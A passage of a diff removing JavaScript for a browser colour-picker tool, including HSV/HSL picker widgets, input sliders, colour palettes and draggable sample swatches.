-		picker.className ='slider-picker';
-
-		this.hue_area = area;
-		this.hue_picker = picker;
-		setMouseTracking(area, this.updateHueSlider.bind(this));
-
-		area.appendChild(picker);
-		this.node.appendChild(area);
-	};
-
-	ColorPicker.prototype.createAlphaArea = function createAlphaArea() {
-		var area = document.createElement('div');
-		var mask = document.createElement('div');
-		var picker = document.createElement('div');
-
-		area.className = 'alpha';
-		mask.className = 'alpha-mask';
-		picker.className = 'slider-picker';
-
-		this.alpha_area = area;
-		this.alpha_mask = mask;
-		this.alpha_picker = picker;
-		setMouseTracking(area, this.updateAlphaSlider.bind(this));
-
-		area.appendChild(mask);
-		mask.appendChild(picker);
-		this.node.appendChild(area);
-	};
-
-	ColorPicker.prototype.createPreviewBox = function createPreviewBox(e) {
-		var preview_box = document.createElement('div');
-		var preview_color = document.createElement('div');
-
-		preview_box.className = 'preview';
-		preview_color.className = 'preview-color';
-
-		this.preview_color = preview_color;
-
-		preview_box.appendChild(preview_color);
-		this.node.appendChild(preview_box);
-	};
-
-	ColorPicker.prototype.newInputComponent = function newInputComponent(title, topic, onChangeFunc) {
-		var wrapper = document.createElement('div');
-		var input = document.createElement('input');
-		var info = document.createElement('span');
-
-		wrapper.className = 'input';
-		wrapper.setAttribute('data-topic', topic);
-		info.textContent = title;
-		info.className = 'name';
-		input.setAttribute('type', 'text');
-
-		wrapper.appendChild(info);
-		wrapper.appendChild(input);
-		this.node.appendChild(wrapper);
-
-		input.addEventListener('change', onChangeFunc);
-		input.addEventListener('click', function() {
-			this.select();
-		});
-
-		this.subscribe(topic, function(value) {
-			input.value = value;
-		});
-	};
-
-	ColorPicker.prototype.createChangeModeButton = function createChangeModeButton() {
-
-		var button = document.createElement('div');
-		button.className = 'switch_mode';
-		button.addEventListener('click', function() {
-			if (this.picker_mode === 'HSV')
-				this.setPickerMode('HSL');
-			else
-				this.setPickerMode('HSV');
-
-		}.bind(this));
-
-		this.node.appendChild(button);
-	};
-
-	/*************************************************************************/
-	//					Updates properties of UI elements
-	/*************************************************************************/
-
-	ColorPicker.prototype.updateColor = function updateColor(e) {
-		var x = e.pageX - this.picking_area.offsetLeft;
-		var y = e.pageY - this.picking_area.offsetTop;
-		var picker_offset = 5;
-
-		// width and height should be the same
-		var size = this.picking_area.clientWidth;
-
-		if (x > size) x = size;
-		if (y > size) y = size;
-		if (x < 0) x = 0;
-		if (y < 0) y = 0;
-
-		var value = 100 - (y * 100 / size) | 0;
-		var saturation = x * 100 / size | 0;
-
-		if (this.picker_mode === 'HSV')
-			this.color.setHSV(this.color.hue, saturation, value);
-		if (this.picker_mode === 'HSL')
-			this.color.setHSL(this.color.hue, saturation, value);
-
-		this.color_picker.style.left = x - picker_offset + 'px';
-		this.color_picker.style.top = y - picker_offset + 'px';
-
-		this.updateAlphaGradient();
-		this.updatePreviewColor();
-
-		this.notify('value', value);
-		this.notify('lightness', value);
-		this.notify('saturation', saturation);
-
-		this.notify('red', this.color.r);
-		this.notify('green', this.color.g);
-		this.notify('blue', this.color.b);
-		this.notify('hexa', this.color.getHexa());
-
-		notify(this.topic, this.color);
-	};
-
-	ColorPicker.prototype.updateHueSlider = function updateHueSlider(e) {
-		var x = e.pageX - this.hue_area.offsetLeft;
-		var width = this.hue_area.clientWidth;
-
-		if (x < 0) x = 0;
-		if (x > width) x = width;
-
-		// TODO 360 => 359
-		var hue = ((359 * x) / width) | 0;
-		// if (hue === 360) hue = 359;
-
-		this.updateSliderPosition(this.hue_picker, x);
-		this.setHue(hue);
-	};
-
-	ColorPicker.prototype.updateAlphaSlider = function updateAlphaSlider(e) {
-		var x = e.pageX - this.alpha_area.offsetLeft;
-		var width = this.alpha_area.clientWidth;
-
-		if (x < 0) x = 0;
-		if (x > width) x = width;
-
-		this.color.a = (x / width).toFixed(2);
-
-		this.updateSliderPosition(this.alpha_picker, x);
-		this.updatePreviewColor();
-
-		this.notify('alpha', this.color.a);
-		notify(this.topic, this.color);
-	};
-
-	ColorPicker.prototype.setHue = function setHue(value) {
-		this.color.setHue(value);
-
-		this.updatePickerBackground();
-		this.updateAlphaGradient();
-		this.updatePreviewColor();
-
-		this.notify('red', this.color.r);
-		this.notify('green', this.color.g);
-		this.notify('blue', this.color.b);
-		this.notify('hexa', this.color.getHexa());
-		this.notify('hue', this.color.hue);
-
-		notify(this.topic, this.color);
-	};
-
-	// Updates when one of Saturation/Value/Lightness changes
-	ColorPicker.prototype.updateSLV = function updateSLV() {
-		this.updatePickerPosition();
-		this.updateAlphaGradient();
-		this.updatePreviewColor();
-
-		this.notify('red', this.color.r);
-		this.notify('green', this.color.g);
-		this.notify('blue', this.color.b);
-		this.notify('hexa', this.color.getHexa());
-
-		notify(this.topic, this.color);
-	};
-
-	/*************************************************************************/
-	//				Update positions of various UI elements
-	/*************************************************************************/
-
-	ColorPicker.prototype.updatePickerPosition = function updatePickerPosition() {
-		var size = this.picking_area.clientWidth;
-		var value = 0;
-		var offset = 5;
-
-		if (this.picker_mode === 'HSV')
-			value = this.color.value;
-		if (this.picker_mode === 'HSL')
-			value = this.color.lightness;
-
-		var x = (this.color.saturation * size / 100) | 0;
-		var y = size - (value * size / 100) | 0;
-
-		this.color_picker.style.left = x - offset + 'px';
-		this.color_picker.style.top = y - offset + 'px';
-	};
-
-	ColorPicker.prototype.updateSliderPosition = function updateSliderPosition(elem, pos) {
-		elem.style.left = Math.max(pos - 3, -2) + 'px';
-	};
-
-	ColorPicker.prototype.updateHuePicker = function updateHuePicker() {
-		var size = this.hue_area.clientWidth;
-		var offset = 1;
-		var pos = (this.color.hue * size / 360 ) | 0;
-		this.hue_picker.style.left = pos - offset + 'px';
-	};
-
-	ColorPicker.prototype.updateAlphaPicker = function updateAlphaPicker() {
-		var size = this.alpha_area.clientWidth;
-		var offset = 1;
-		var pos = (this.color.a * size) | 0;
-		this.alpha_picker.style.left = pos - offset + 'px';
-	};
-
-	/*************************************************************************/
-	//						Update background colors
-	/*************************************************************************/
-
-	ColorPicker.prototype.updatePickerBackground = function updatePickerBackground() {
-		var nc = new Color(this.color);
-		nc.setHSV(nc.hue, 100, 100);
-		this.picking_area.style.backgroundColor = nc.getHexa();
-	};
-
-	ColorPicker.prototype.updateAlphaGradient = function updateAlphaGradient() {
-		this.alpha_mask.style.backgroundColor = this.color.getHexa();
-	};
-
-	ColorPicker.prototype.updatePreviewColor = function updatePreviewColor() {
-		this.preview_color.style.backgroundColor = this.color.getColor();
-	};
-
-	/*************************************************************************/
-	//						Update input elements
-	/*************************************************************************/
-
-	ColorPicker.prototype.inputChangeHue = function inputChangeHue(e) {
-		var value = parseInt(e.target.value);
-		this.setHue(value);
-		this.updateHuePicker();
-	};
-
-	ColorPicker.prototype.inputChangeSaturation = function inputChangeSaturation(e) {
-		var value = parseInt(e.target.value);
-		this.color.setSaturation(value);
-		e.target.value = this.color.saturation;
-		this.updateSLV();
-	};
-
-	ColorPicker.prototype.inputChangeValue = function inputChangeValue(e) {
-		var value = parseInt(e.target.value);
-		this.color.setValue(value);
-		e.target.value = this.color.value;
-		this.updateSLV();
-	};
-
-	ColorPicker.prototype.inputChangeLightness = function inputChangeLightness(e) {
-		var value = parseInt(e.target.value);
-		this.color.setLightness(value);
-		e.target.value = this.color.lightness;
-		this.updateSLV();
-	};
-
-	ColorPicker.prototype.inputChangeRed = function inputChangeRed(e) {
-		var value = parseInt(e.target.value);
-		this.color.setByName('r', value);
-		e.target.value = this.color.r;
-		this.setColor(this.color);
-	};
-
-	ColorPicker.prototype.inputChangeGreen = function inputChangeGreen(e) {
-		var value = parseInt(e.target.value);
-		this.color.setByName('g', value);
-		e.target.value = this.color.g;
-		this.setColor(this.color);
-	};
-
-	ColorPicker.prototype.inputChangeBlue = function inputChangeBlue(e) {
-		var value = parseInt(e.target.value);
-		this.color.setByName('b', value);
-		e.target.value = this.color.b;
-		this.setColor(this.color);
-	};
-
-	ColorPicker.prototype.inputChangeAlpha = function inputChangeAlpha(e) {
-		var value = parseFloat(e.target.value);
-
-		if (typeof value === 'number' && isNaN(value) === false &&
-			value >= 0 && value <= 1)
-			this.color.a = value.toFixed(2);
-
-		e.target.value = this.color.a;
-		this.updateAlphaPicker();
-	};
-
-	ColorPicker.prototype.inputChangeHexa = function inputChangeHexa(e) {
-		var value = e.target.value;
-		this.color.setHexa(value);
-		this.setColor(this.color);
-	};
-
-	/*************************************************************************/
-	//							Internal Pub/Sub
-	/*************************************************************************/
-
-	ColorPicker.prototype.subscribe = function subscribe(topic, callback) {
-		this.subscribers[topic] = callback;
-	};
-
-	ColorPicker.prototype.notify = function notify(topic, value) {
-		if (this.subscribers[topic])
-			this.subscribers[topic](value);
-	};
-
-	/*************************************************************************/
-	//							Set Picker Properties
-	/*************************************************************************/
-
-	ColorPicker.prototype.setColor = function setColor(color) {
-		if(color instanceof Color !== true) {
-			console.log('Typeof parameter not Color');
-			return;
-		}
-
-		if (color.format !== this.picker_mode) {
-			color.setFormat(this.picker_mode);
-			color.updateHSX();
-		}
-
-		this.color.copy(color);
-		this.updateHuePicker();
-		this.updatePickerPosition();
-		this.updatePickerBackground();
-		this.updateAlphaPicker();
-		this.updateAlphaGradient();
-		this.updatePreviewColor();
-
-		this.notify('red', this.color.r);
-		this.notify('green', this.color.g);
-		this.notify('blue', this.color.b);
-
-		this.notify('hue', this.color.hue);
-		this.notify('saturation', this.color.saturation);
-		this.notify('value', this.color.value);
-		this.notify('lightness', this.color.lightness);
-
-		this.notify('alpha', this.color.a);
-		this.notify('hexa', this.color.getHexa());
-		notify(this.topic, this.color);
-	};
-
-	ColorPicker.prototype.setPickerMode = function setPickerMode(mode) {
-		if (mode !== 'HSV' && mode !== 'HSL')
-			return;
-
-		this.picker_mode = mode;
-		this.node.setAttribute('data-mode', this.picker_mode);
-		this.setColor(this.color);
-	};
-
-	/*************************************************************************/
-	//								UNUSED
-	/*************************************************************************/
-
-	var setPickerMode = function setPickerMode(topic, mode) {
-		if (pickers[topic])
-			pickers[topic].setPickerMode(mode);
-	};
-
-	var setColor = function setColor(topic, color) {
-		if (pickers[topic])
-			pickers[topic].setColor(color);
-	};
-
-	var getColor = function getColor(topic) {
-		if (pickers[topic])
-			return new Color(pickers[topic].color);
-	};
-
-	var subscribe = function subscribe(topic, callback) {
-		if (subscribers[topic] === undefined)
-			subscribers[topic] = [];
-
-		subscribers[topic].push(callback);
-	};
-
-	var unsubscribe = function unsubscribe(callback) {
-		subscribers.indexOf(callback);
-		subscribers.splice(index, 1);
-	};
-
-	var notify = function notify(topic, value) {
-		if (subscribers[topic] === undefined || subscribers[topic].length === 0)
-			return;
-
-		var color = new Color(value);
-		for (var i in subscribers[topic])
-			subscribers[topic][i](color);
-	};
-
-	var init = function init() {
-		var elem = document.querySelectorAll('.ui-color-picker');
-		var size = elem.length;
-		for (var i = 0; i < size; i++)
-			new ColorPicker(elem[i]);
-	};
-
-	return {
-		init : init,
-		Color : Color,
-		RGBColor : RGBColor,
-		RGBAColor : RGBAColor,
-		HSVColor : HSVColor,
-		HSVAColor : HSVAColor,
-		HSLColor : HSLColor,
-		HSLAColor : HSLAColor,
-		setColor : setColor,
-		getColor : getColor,
-		subscribe : subscribe,
-		unsubscribe : unsubscribe,
-		setPickerMode : setPickerMode
-	};
-
-})();
-
-
-
-/**
- * UI-SlidersManager
- */
-
-var InputSliderManager = (function InputSliderManager() {
-
-	var subscribers = {};
-	var sliders = [];
-
-	var InputComponent = function InputComponent(obj) {
-		var input = document.createElement('input');
-		input.setAttribute('type', 'text');
-		input.style.width = 50 + obj.precision * 10 + 'px';
-
-		input.addEventListener('click', function(e) {
-			this.select();
-		});
-
-		input.addEventListener('change', function(e) {
-			var value = parseFloat(e.target.value);
-
-			if (isNaN(value) === true)
-				setValue(obj.topic, obj.value);
-			else
-				setValue(obj.topic, value);
-		});
-
-		return input;
-	};
-
-	var SliderComponent = function SliderComponent(obj, sign) {
-		var slider = document.createElement('div');
-		var startX = null;
-		var start_value = 0;
-
-		slider.addEventListener("click", function(e) {
-			document.removeEventListener("mousemove", sliderMotion);
-			setValue(obj.topic, obj.value + obj.step * sign);
-		});
-
-		slider.addEventListener("mousedown", function(e) {
-			startX = e.clientX;
-			start_value = obj.value;
-			document.body.style.cursor = "e-resize";
-
-			document.addEventListener("mouseup", slideEnd);
-			document.addEventListener("mousemove", sliderMotion);
-		});
-
-		var slideEnd = function slideEnd(e) {
-			document.removeEventListener("mousemove", sliderMotion);
-			document.body.style.cursor = "auto";
-			slider.style.cursor = "pointer";
-		};
-
-		var sliderMotion = function sliderMotion(e) {
-			slider.style.cursor = "e-resize";
-			var delta = (e.clientX - startX) / obj.sensivity | 0;
-			var value = delta * obj.step + start_value;
-			setValue(obj.topic, value);
-		};
-
-		return slider;
-	};
-
-	var InputSlider = function(node) {
-		var min		= parseFloat(node.getAttribute('data-min'));
-		var max		= parseFloat(node.getAttribute('data-max'));
-		var step	= parseFloat(node.getAttribute('data-step'));
-		var value	= parseFloat(node.getAttribute('data-value'));
-		var topic	= node.getAttribute('data-topic');
-		var unit	= node.getAttribute('data-unit');
-		var name 	= node.getAttribute('data-info');
-		var sensivity = node.getAttribute('data-sensivity') | 0;
-		var precision = node.getAttribute('data-precision') | 0;
-
-		this.min = isNaN(min) ? 0 : min;
-		this.max = isNaN(max) ? 100 : max;
-		this.precision = precision >= 0 ? precision : 0;
-		this.step = step < 0 || isNaN(step) ? 1 : step.toFixed(precision);
-		this.topic = topic;
-		this.node = node;
-		this.unit = unit === null ? '' : unit;
-		this.sensivity = sensivity > 0 ? sensivity : 5;
-		value = isNaN(value) ? this.min : value;
-
-		var input = new InputComponent(this);
-		var slider_left  = new SliderComponent(this, -1);
-		var slider_right = new SliderComponent(this,  1);
-
-		slider_left.className = 'ui-input-slider-left';
-		slider_right.className = 'ui-input-slider-right';
-
-		if (name) {
-			var info = document.createElement('span');
-			info.className = 'ui-input-slider-info';
-			info.textContent = name;
-			node.appendChild(info);
-		}
-
-		node.appendChild(slider_left);
-		node.appendChild(input);
-		node.appendChild(slider_right);
-
-		this.input = input;
-		sliders[topic] = this;
-		setValue(topic, value);
-	};
-
-	InputSlider.prototype.setInputValue = function setInputValue() {
-		this.input.value = this.value.toFixed(this.precision) + this.unit;
-	};
-
-	var setValue = function setValue(topic, value, send_notify) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		value = parseFloat(value.toFixed(slider.precision));
-
-		if (value > slider.max) value = slider.max;
-		if (value < slider.min)	value = slider.min;
-
-		slider.value = value;
-		slider.node.setAttribute('data-value', value);
-
-		slider.setInputValue();
-
-		if (send_notify === false)
-			return;
-
-		notify.call(slider);
-	};
-
-	var setMax = function setMax(topic, value) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		slider.max = value;
-		setValue(topic, slider.value);
-	};
-
-	var setMin = function setMin(topic, value) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		slider.min = value;
-		setValue(topic, slider.value);
-	};
-
-	var setUnit = function setUnit(topic, unit) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		slider.unit = unit;
-		setValue(topic, slider.value);
-	};
-
-	var setStep = function setStep(topic, value) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		slider.step = parseFloat(value);
-		setValue(topic, slider.value);
-	};
-
-	var setPrecision = function setPrecision(topic, value) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		value = value | 0;
-		slider.precision = value;
-
-		var step = parseFloat(slider.step.toFixed(value));
-		if (step === 0)
-			slider.step = 1 / Math.pow(10, value);
-
-		setValue(topic, slider.value);
-	};
-
-	var setSensivity = function setSensivity(topic, value) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		value = value | 0;
-
-		slider.sensivity = value > 0 ? value : 5;
-	};
-
-	var getNode =  function getNode(topic) {
-		return sliders[topic].node;
-	};
-
-	var getPrecision =  function getPrecision(topic) {
-		return sliders[topic].precision;
-	};
-
-	var getStep =  function getStep(topic) {
-		return sliders[topic].step;
-	};
-
-	var subscribe = function subscribe(topic, callback) {
-		if (subscribers[topic] === undefined)
-			subscribers[topic] = [];
-		subscribers[topic].push(callback);
-	};
-
-	var unsubscribe = function unsubscribe(topic, callback) {
-		subscribers[topic].indexOf(callback);
-		subscribers[topic].splice(index, 1);
-	};
-
-	var notify = function notify() {
-		if (subscribers[this.topic] === undefined)
-			return;
-		for (var i = 0; i < subscribers[this.topic].length; i++)
-			subscribers[this.topic][i](this.value);
-	};
-
-	var createSlider = function createSlider(topic, label) {
-		var slider = document.createElement('div');
-		slider.className = 'ui-input-slider';
-		slider.setAttribute('data-topic', topic);
-
-		if (label !== undefined)
-			slider.setAttribute('data-info', label);
-
-		new InputSlider(slider);
-		return slider;
-	};
-
-	var init = function init() {
-		var elem = document.querySelectorAll('.ui-input-slider');
-		var size = elem.length;
-		for (var i = 0; i < size; i++)
-			new InputSlider(elem[i]);
-	};
-
-	return {
-		init : init,
-		setMax : setMax,
-		setMin : setMin,
-		setUnit : setUnit,
-		setStep : setStep,
-		getNode : getNode,
-		getStep : getStep,
-		setValue : setValue,
-		subscribe : subscribe,
-		unsubscribe : unsubscribe,
-		setPrecision : setPrecision,
-		setSensivity : setSensivity,
-		getPrecision : getPrecision,
-		createSlider : createSlider,
-	};
-
-})();
-
-
-'use strict';
-
-window.addEventListener("load", function() {
-	ColorPickerTool.init();
-});
-
-var ColorPickerTool = (function ColorPickerTool() {
-
-	/*========== Get DOM Element By ID ==========*/
-
-	function getElemById(id) {
-		return document.getElementById(id);
-	}
-
-	function allowDropEvent(e) {
-		e.preventDefault();
-	}
-
-	/*========== Make an element resizable relative to it's parent ==========*/
-
-	var UIComponent = (function UIComponent() {
-
-		function makeResizable(elem, axis) {
-			var valueX = 0;
-			var valueY = 0;
-			var action = 0;
-
-			var resizeStart = function resizeStart(e) {
-				e.stopPropagation();
-				e.preventDefault();
-				if (e.button !== 0)
-					return;
-
-				valueX = e.clientX - elem.clientWidth;
-				valueY = e.clientY - elem.clientHeight;
-
-				document.body.setAttribute('data-resize', axis);
-				document.addEventListener('mousemove', mouseMove);
-				document.addEventListener('mouseup', resizeEnd);
-			};
-
-			var mouseMove = function mouseMove(e) {
-				if (action >= 0)
-					elem.style.width = e.clientX - valueX + 'px';
-				if (action <= 0)
-					elem.style.height = e.clientY - valueY + 'px';
-			};
-
-			var resizeEnd = function resizeEnd(e) {
-				if (e.button !== 0)
-					return;
-
-				document.body.removeAttribute('data-resize', axis);
-				document.removeEventListener('mousemove', mouseMove);
-				document.removeEventListener('mouseup', resizeEnd);
-			};
-
-			var handle = document.createElement('div');
-			handle.className = 'resize-handle';
-
-			if (axis === 'width') action = 1;
-			else if (axis === 'height') action = -1;
-			else axis = 'both';
-
-			handle.className = 'resize-handle';
-			handle.setAttribute('data-resize', axis);
-			handle.addEventListener('mousedown', resizeStart);
-			elem.appendChild(handle);
-		};
-
-		/*========== Make an element draggable relative to it's parent ==========*/
-
-		var makeDraggable = function makeDraggable(elem, endFunction) {
-
-			var offsetTop;
-			var offsetLeft;
-
-			elem.setAttribute('data-draggable', 'true');
-
-			var dragStart = function dragStart(e) {
-				e.preventDefault();
-				e.stopPropagation();
-
-				if (e.target.getAttribute('data-draggable') !== 'true' ||
-					e.target !== elem || e.button !== 0)
-					return;
-
-				offsetLeft = e.clientX - elem.offsetLeft;
-				offsetTop = e.clientY - elem.offsetTop;
-
-				document.addEventListener('mousemove', mouseDrag);
-				document.addEventListener('mouseup', dragEnd);
-			};
-
-			var dragEnd = function dragEnd(e) {
-				if (e.button !== 0)
-					return;
-
-				document.removeEventListener('mousemove', mouseDrag);
-				document.removeEventListener('mouseup', dragEnd);
-			};
-
-			var mouseDrag = function mouseDrag(e) {
-				elem.style.left = e.clientX - offsetLeft + 'px';
-				elem.style.top = e.clientY - offsetTop + 'px';
-			};
-
-			elem.addEventListener('mousedown', dragStart, false);
-		};
-
-		return {
-			makeResizable : makeResizable,
-			makeDraggable : makeDraggable
-		};
-
-	})();
-
-	/*========== Color Class ==========*/
-
-	var Color = UIColorPicker.Color;
-	var HSLColor = UIColorPicker.HSLColor;
-
-	/**
-	 * ColorPalette
-	 */
-	var ColorPalette = (function ColorPalette() {
-
-		var samples = [];
-		var color_palette;
-		var complementary;
-
-		var hideNode = function(node) {
-			node.setAttribute('data-hidden', 'true');
-		};
-
-		var ColorSample = function ColorSample(id) {
-			var node = document.createElement('div');
-			node.className = 'sample';
-
-			this.uid = samples.length;
-			this.node = node;
-			this.color = new Color();
-
-			node.setAttribute('sample-id', this.uid);
-			node.setAttribute('draggable', 'true');
-			node.addEventListener('dragstart', this.dragStart.bind(this));
-			node.addEventListener('click', this.pickColor.bind(this));
-
-			samples.push(this);
-		};
-
-		ColorSample.prototype.updateBgColor = function updateBgColor() {
-			this.node.style.backgroundColor = this.color.getColor();
-		};
-
-		ColorSample.prototype.updateColor = function updateColor(color) {
-			this.color.copy(color);
-			this.updateBgColor();
-		};
-
-		ColorSample.prototype.updateHue = function updateHue(color, degree, steps) {
-			this.color.copy(color);
-			var hue = (steps * degree + this.color.hue) % 360;
-			if (hue < 0) hue += 360;
-			this.color.setHue(hue);
-			this.updateBgColor();
-		};
-
-		ColorSample.prototype.updateSaturation = function updateSaturation(color, value, steps) {
-			var saturation = color.saturation + value * steps;
-			if (saturation <= 0) {
-				this.node.setAttribute('data-hidden', 'true');
-				return;
-			}
-
-			this.node.removeAttribute('data-hidden');
-			this.color.copy(color);
-			this.color.setSaturation(saturation);
-			this.updateBgColor();
-		};
-
-		ColorSample.prototype.updateLightness = function updateLightness(color, value, steps) {
-			var lightness = color.lightness + value * steps;
-			if (lightness <= 0) {
-				this.node.setAttribute('data-hidden', 'true');
-				return;
-			}
-			this.node.removeAttribute('data-hidden');
-			this.color.copy(color);
-			this.color.setLightness(lightness);
-			this.updateBgColor();
-		};
-
-		ColorSample.prototype.updateBrightness = function updateBrightness(color, value, steps) {
-			var brightness = color.value + value * steps;
-			if (brightness <= 0) {
-				this.node.setAttribute('data-hidden', 'true');
-				return;
-			}
-			this.node.removeAttribute('data-hidden');
-			this.color.copy(color);
-			this.color.setValue(brightness);
-			this.updateBgColor();
-		};
-
-		ColorSample.prototype.updateAlpha = function updateAlpha(color, value, steps) {
-			var alpha = parseFloat(color.a) + value * steps;
-			if (alpha <= 0) {
-				this.node.setAttribute('data-hidden', 'true');
-				return;
-			}
-			this.node.removeAttribute('data-hidden');
-			this.color.copy(color);
-			this.color.a = parseFloat(alpha.toFixed(2));
-			this.updateBgColor();
-		};
-
-		ColorSample.prototype.pickColor = function pickColor() {
-			UIColorPicker.setColor('picker', this.color);
-		};
-
-		ColorSample.prototype.dragStart = function dragStart(e) {
-			e.dataTransfer.setData('sampleID', this.uid);
-			e.dataTransfer.setData('location', 'palette-samples');
-		};
-
-		var Palette = function Palette(text, size) {
-			this.samples = [];
-			this.locked = false;
-
-			var palette = document.createElement('div');
-			var title = document.createElement('div');
-			var controls = document.createElement('div');
-			var container = document.createElement('div');
-			var lock = document.createElement('div');
-
-			container.className = 'container';
-			title.className = 'title';
-			palette.className = 'palette';
-			controls.className = 'controls';
-			lock.className = 'lock';
-			title.textContent = text;
-
-			controls.appendChild(lock);
-			container.appendChild(title);
-			container.appendChild(controls);
-			container.appendChild(palette);
-
-			lock.addEventListener('click', function () {
-				this.locked = !this.locked;
-				lock.setAttribute('locked-state', this.locked);
-			}.bind(this));
-
-			for(var i = 0; i < size; i++) {
-				var sample = new ColorSample();
-				this.samples.push(sample);
-				palette.appendChild(sample.node);
-			}
-
-			this.container = container;
-			this.title = title;
-		};
-
-		var createHuePalette = function createHuePalette() {
-			var palette = new Palette('Teinte', 12);
-
-			UIColorPicker.subscribe('picker', function(color) {
-				if (palette.locked === true)
-					return;
-
-				for(var i = 0; i < 12; i++) {
-					palette.samples[i].updateHue(color, 30, i);
-				}
-			});
-
-			color_palette.appendChild(palette.container);
-		};
-
-		var createSaturationPalette = function createSaturationPalette() {
-			var palette = new Palette('Saturation', 11);
-
-			UIColorPicker.subscribe('picker', function(color) {
-				if (palette.locked === true)
-					return;
-
-				for(var i = 0; i < 11; i++) {
-					palette.samples[i].updateSaturation(color, -10, i);
-				}
-			});
-
-			color_palette.appendChild(palette.container);
-		};
-
-		/* Brightness or Lightness - depends on the picker mode */
-		var createVLPalette = function createSaturationPalette() {
-			var palette = new Palette('Lightness', 11);
-
-			UIColorPicker.subscribe('picker', function(color) {
-				if (palette.locked === true)
-					return;
-
-				if(color.format === 'HSL') {
-					palette.title.textContent = 'Luminosité';
-					for(var i = 0; i < 11; i++)
-						palette.samples[i].updateLightness(color, -10, i);
-				}
-				else {
-					palette.title.textContent = 'Valeur';
-					for(var i = 0; i < 11; i++)
-						palette.samples[i].updateBrightness(color, -10, i);
-				}
-			});
-
-			color_palette.appendChild(palette.container);
-		};
-
-		var isBlankPalette = function isBlankPalette(container, value) {
-			if (value === 0) {
-				container.setAttribute('data-collapsed', 'true');
-				return true;
-			}
-
-			container.removeAttribute('data-collapsed');
-			return false;
-		};
-
-		var createAlphaPalette = function createAlphaPalette() {
-			var palette = new Palette('Alpha', 10);
-
-			UIColorPicker.subscribe('picker', function(color) {
-				if (palette.locked === true)
-					return;
-
-				for(var i = 0; i < 10; i++) {
-					palette.samples[i].updateAlpha(color, -0.1, i);
-				}
-			});
-
-			color_palette.appendChild(palette.container);
-		};
-
-		var getSampleColor = function getSampleColor(id) {
-			if (samples[id] !== undefined && samples[id]!== null)
-				return new Color(samples[id].color);
-		};
-
-		var init = function init() {
-			color_palette = getElemById('color-palette');
-
-			createHuePalette();
-			createSaturationPalette();
-			createVLPalette();
-			createAlphaPalette();
-
-		};
-
-		return {
-			init : init,
-			getSampleColor : getSampleColor
-		};
-
-	})();
-
-	/**
-	 * ColorInfo
-	 */
-	var ColorInfo = (function ColorInfo() {
-
-		var info_box;
-		var select;
-		var RGBA;
-		var HEXA;
-		var HSLA;
-
-		var updateInfo = function updateInfo(color) {
-			if (color.a | 0 === 1) {
-				RGBA.info.textContent = 'RGB';
-				HSLA.info.textContent = 'HSL';
-			}
-			else {
-				RGBA.info.textContent = 'RGBA';
-				HSLA.info.textContent = 'HSLA';
-			}
-
-			RGBA.value.value = color.getRGBA();
-			HSLA.value.value = color.getHSLA();
-			HEXA.value.value = color.getHexa();
-		};
-
-		var InfoProperty = function InfoProperty(info) {
-
-			var node = document.createElement('div');
-			var title = document.createElement('div');
-			var value = document.createElement('input');
-			var copy = document.createElement('div');
-
-			node.className = 'property';
-			title.className = 'type';
-			value.className = 'value';
-			copy.className = 'copy';
-
-			title.textContent = info;
-			value.setAttribute('type', 'text');
-
-			copy.addEventListener('click', function() {
-				value.select();
-			});
-
-			node.appendChild(title);
-			node.appendChild(value);
-			node.appendChild(copy);
-
-			this.node = node;
-			this.value = value;
-			this.info = title;
-
-			info_box.appendChild(node);
-		};
-
-		var init = function init() {
-
-			info_box = getElemById('color-info');
-
-			RGBA = new InfoProperty('RGBA');
-			HSLA = new InfoProperty('HSLA');
-			HEXA = new InfoProperty('HEXA');
-
-			UIColorPicker.subscribe('picker', updateInfo);
-
-		};
-
-		return {
-			init: init
-		};
-
-	})();
-
-	/**
-	 * ColorPicker Samples
-	 */
-	var ColorPickerSamples = (function ColorPickerSamples() {
-
-		var samples = [];
-		var nr_samples = 0;
-		var active = null;
-		var container = null;
-		var	samples_per_line = 10;
-		var trash_can = null;
-		var base_color = new HSLColor(0, 50, 100);
-		var add_btn;
-		var add_btn_pos;
-
-		var ColorSample = function ColorSample() {
-			var node = document.createElement('div');
-			node.className = 'sample';
-
-			this.uid = samples.length;
-			this.index = nr_samples++;
-			this.node = node;
-			this.color = new Color(base_color);
-
-			node.setAttribute('sample-id', this.uid);
-			node.setAttribute('draggable', 'true');
-
-			node.addEventListener('dragstart', this.dragStart.bind(this));
-			node.addEventListener('dragover' , allowDropEvent);
-			node.addEventListener('drop'     , this.dragDrop.bind(this));
-
-			this.updatePosition(this.index);
-			this.updateBgColor();
-			samples.push(this);
-		};
-
-		ColorSample.prototype.updateBgColor = function updateBgColor() {
-			this.node.style.backgroundColor = this.color.getColor();
-		};
-
-		ColorSample.prototype.updatePosition = function updatePosition(index) {
-			this.index = index;
-			this.posY = 5 + ((index / samples_per_line) | 0) * 52;
-			this.posX = 5 + ((index % samples_per_line) | 0) * 52;
-			this.node.style.top  = this.posY + 'px';
-			this.node.style.left = this.posX + 'px';
-		};
-
-		ColorSample.prototype.updateColor = function updateColor(color) {
-			this.color.copy(color);
-			this.updateBgColor();
-		};
-
-		ColorSample.prototype.activate = function activate() {
-			UIColorPicker.setColor('picker', this.color);
-			this.node.setAttribute('data-active', 'true');
-		};
-
-		ColorSample.prototype.deactivate = function deactivate() {
-			this.node.removeAttribute('data-active');
-		};
-
-		ColorSample.prototype.dragStart = function dragStart(e) {
-			e.dataTransfer.setData('sampleID', this.uid);
-			e.dataTransfer.setData('location', 'picker-samples');
-		};
-
-		ColorSample.prototype.dragDrop = function dragDrop(e) {
-			e.stopPropagation();
-			this.color = Tool.getSampleColorFrom(e);
-			this.updateBgColor();
-		};
-
-		ColorSample.prototype.deleteSample = function deleteSample() {
-			container.removeChild(this.node);
-			samples[this.uid] = null;
-			nr_samples--;
-		};
-
-		var updateUI = function updateUI() {
-			updateContainerProp();
-
-			var index = 0;
-			var nr = samples.length;
-			for (var i=0; i < nr; i++)
-				if (samples[i] !== null) {
-					samples[i].updatePosition(index);
-					index++;
-				}
-
-			AddSampleButton.updatePosition(index);
-		};
-
-		var deleteSample = function deleteSample(e) {
-			trash_can.parentElement.setAttribute('drag-state', 'none');
-
